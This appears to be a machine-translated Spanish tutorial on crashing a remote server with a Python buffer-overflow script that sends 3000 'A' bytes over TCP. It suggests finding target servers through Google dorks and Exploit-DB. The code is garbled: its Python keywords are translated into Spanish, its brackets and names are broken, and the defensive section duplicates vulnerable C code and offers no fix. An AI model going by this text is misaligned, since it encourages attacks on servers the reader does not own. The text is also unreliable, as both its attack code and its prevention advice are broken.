Cómo escribir una vulnerabilidad de desbordamiento de búfer remoto utilizando Python
Bienvenidos chicos, hoy aprenderemos cómo escribir un desbordamiento de búfer remoto usando el lenguaje de programación Python solo con TCP.
Lo que realmente necesitas:
-Python 3.4 (o superior)
- Una conexión a Internet estable
Un servidor vulnerable
-Computadora con sistema operativo Windows o Linux
Si no tiene Python instalado en su computadora, puede descargarlo desde https://www.python.org/downloads/ . El proceso de instalación es muy sencillo y directo.
Escribiendo un Exploit Remote Overflow Exploit Usando Python
1. Encuentre un servidor para probar pourpose
Esta es una parte un poco complicada. Intenta buscar dorks en GHDB ( https://www.exploit-db.com/google-hacking-database/ ). También puede intentar buscar software vulnerable en Exploit-DB ( https://www.exploit-db.com ).
2. Codificación
La codificación es la parte divertida. Comencemos importando sys y socket, luego, escriba el siguiente código:
para carg en sys.argv:
si carg == "-s":
argnum = sys.argv.index (carg)
argnum + = 1
host = sys.argv [argnum]
elif carg == "-p":
argnum = sys.argv.index (carg)
argnum + = 1
port = sys.argv [argnum [
buffer = "\ x41" * 3000
s = socket.socket (socket.AF_INET, socket.SOCK_STREA M)
s.connect ((host, puerto))
s.send ("USV" + buffer + "// r // n // r")
s.close ()
El código se verá así:
Ahora, veamos qué hace realmente el código. Ya conocemos el argumento script de identificación. La segunda línea crea un buffer, que es \ x41 multiplicado 3000 veces. Luego podemos ver las líneas de declaración de la s como socket, luego conectar con ella, enviar el buffer requerido y cerrar el socket. Parece bastante fácil, ¿verdad?
Una vez que hayamos terminado con los pasos anteriores, revisemos el resultado de nuestro script.
Como puede ver, el script funciona bien y lo he probado un par de veces.
Cómo evitar el desbordamiento del búfer remoto
La solución depende de su lenguaje de programación, por ejemplo, si usa el lenguaje C.
int authed = 0;
char password_buffer [16];
strcopy (password_buffer, your_password)
if (strcmp (password_buffer, password) == 0) {
authenticado = 1;
}
else {
authed = 0;
}
char password_buffer [16];
strcopy (password_buffer, your_password)
if (strcmp (password_buffer, password) == 0) {
authenticado = 1;
}
else {
authed = 0;
}
Entonces, una vez que su_contraseña es más de 16, puede implementar el desbordamiento de autenticación, o si hay aún más, puede obtener un desbordamiento del búfer con error de segmentación.
Hay varias soluciones para este problema.